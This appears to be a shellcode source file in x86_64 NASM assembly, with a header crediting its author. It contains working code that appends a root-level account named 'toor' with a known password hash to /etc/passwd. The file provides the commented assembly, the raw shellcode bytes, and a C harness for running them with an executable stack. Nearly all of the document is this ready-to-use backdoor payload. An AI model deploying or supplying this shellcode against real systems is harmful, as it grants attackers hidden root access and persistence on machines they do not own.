93 lines
No EOL
3.1 KiB
NASM
93 lines
No EOL
3.1 KiB
NASM
; Title: add root user (toor:toor)
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; Date: 20180811
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; Author: epi <epibar052@gmail.com>
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; https://epi052.gitlab.io/notes-to-self/
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; Tested on: linux/x86_64 (SMP CentOS-7 3.10.0-862.2.3.el7.x86_64 GNU/Linux)
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;
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; Shellcode Length: 99 bytes
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; Action: Adds a user into /etc/passwd with the following information
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; username: toor
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; password: toor
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; uid: 0
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; gid: 0
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; home: /root
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; shell: /bin/sh
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;
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; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh
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global _start
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section .text
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_start:
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; #define __NR_open 2
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; int open(const char *pathname, int flags);
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; rax -> 2
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; rdi -> /etc/passwd
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; rsi -> 0x401
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;
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; >>> hex(os.O_WRONLY ^ os.O_APPEND)
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; 0x401
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xor ebx, ebx
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mul ebx ; rax|rdx -> 0x0
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push rax
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mov ebx, 0x647773ff ; swd
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shr ebx, 0x08
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push rbx
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mov rbx, 0x7361702f6374652f ; /etc/pas
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push rbx
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mov rdi, rsp ; rdi -> /etc/passwd
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xchg esi, edx ; swap registers to zero out rsi
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mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND
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add al, 0x2 ; rax -> 2 (open)
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syscall ; open
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xchg rdi, rax ; save returned fd
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jmp short get_entry_address ; start jmp-call-pop
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write_entry:
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; #define __NR_write 1
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; ssize_t write(int fd, const void *buf, size_t count);
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; rax -> 1
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; rdi -> results of open syscall
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; rsi -> user's entry
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; rdx -> len of user's entry
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pop rsi ; end jmp-call-pop, rsi -> user's entry
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push 0x1
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pop rax ; rax -> 1
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push 38 ; length + 1 for newline
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pop rdx ; rdx -> length of user's entry
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syscall ; write
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; #define __NR_exit 60
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; void _exit(int status);
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; rax -> 60
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; rdi -> don't care
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push 60
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pop rax
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syscall ; OS will handle closing fd at exit
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get_entry_address:
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call write_entry
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user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa
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; if the user_entry above is modified, change the _count_ argument in the write call to match the new length
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; openssl passwd -crypt
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; Password: toor
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; Verifying - Password: toor
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; sXuCKi7k3Xh/s
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; Skeleton for testing
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;
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; gcc -fno-stack-protector -z execstack shellcode-skeleton.c -o shellcode-skeleton
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;
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; #include <stdio.h>
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; #include <string.h>
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;
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; unsigned char shellcode[] = \
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; "\x31\xdb\xf7\xe3\x50\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73\x53\x48\x89\xe7\x87\xf2\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a";
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;
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; int main() {
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; printf("Shellcode length: %zu\n", strlen(shellcode));
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; int (*ret)() = (int(*)())shellcode;
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; ret();
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; } |